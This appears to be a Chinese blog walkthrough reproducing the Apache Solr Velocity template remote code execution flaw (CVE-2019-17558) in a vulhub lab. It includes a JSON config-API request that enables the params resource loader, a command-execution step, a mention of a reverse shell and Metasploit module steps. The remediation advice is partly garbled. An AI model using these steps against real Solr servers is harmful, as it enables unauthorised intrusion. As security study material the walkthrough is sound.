漏洞描述

Apache Solr 5.0.0到Apache Solr 8.3.1容易受到通过VelocityResponseWriter执行的远程代码的攻击。Velocity模板可以通过configset ’ Velocity / '目录中的Velocity模板或作为参数提供。用户定义的configset可以包含可呈现的、潜在的恶意模板。参数提供的模板在默认情况下是禁用的,但是可以通过设置params.resource.loader来启用。通过定义一个响应写入器并将其设置为true来启用。定义响应编写器需要配置API访问。Solr 8.4完全删除了params资源加载器,只有在configset是“可信的”(由经过身份验证的用户上传)时才启用configset提供的模板呈现。

受影响软件情况

厂商
apache
产品
solr
影响面
From 5.0.0(including) Up to 8.3.1(including)

漏洞类型

CWE-ID漏洞类型
CWE-20输入验证不恰当
CWE-74输出中的特殊元素转义处理不恰当(注入)
CWE-94对生成代码的控制不恰当(代码注入)

漏洞复现过程

WEB页面
在这里插入图片描述

方法一

获取内核
通过下边API获取所有内核名称

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。可以先通过如下API获取所有的核心,在vulhub中核心就是demo

http://172.20.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述

修改config
在URL访问/solr/demo/config时,将params.resource.loader.enabled 置为true,启用配置。
方法:burpsuit抓包,改成POST然后修改启动配置。

在这里插入图片描述
共有两处修改

  • 请求方式由GET修改为POST
  • 添加请求内容
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

漏洞利用
利用Velocity模板执行命令,如ls。修改exec(%27ls%27)中的代码即可更改命令
在这里插入图片描述
扩展
使用shell反弹实现RCE

方法二 Kali—MSF

打开msfconsole
在这里插入图片描述
search solr查找可利用的攻击脚本,发现序号0为我们要利用的脚本
use 0使用它
在这里插入图片描述
set rhost IP 设置被攻击的主机
set lhost IP 设置攻击的主机
run 运行后即可进行命令执行了
在这里插入图片描述

方法三 直接使用脚本

在这里插入图片描述

漏洞修复

  • 目前Apache
  • Solr官方未发布该漏洞的补丁,请关注Solr官方以便获取更新信息:https://lucene.apache.org/solr/
    建议升级Appache Salc到最新版

附录

Solr_CVE-2019-17558.py

参考内容

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17558
阿里云漏洞库
LuckyCharm~的博客
solr基础
VLocity模板注入
JAVA下奇怪的命令执行
VTL语言基础

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐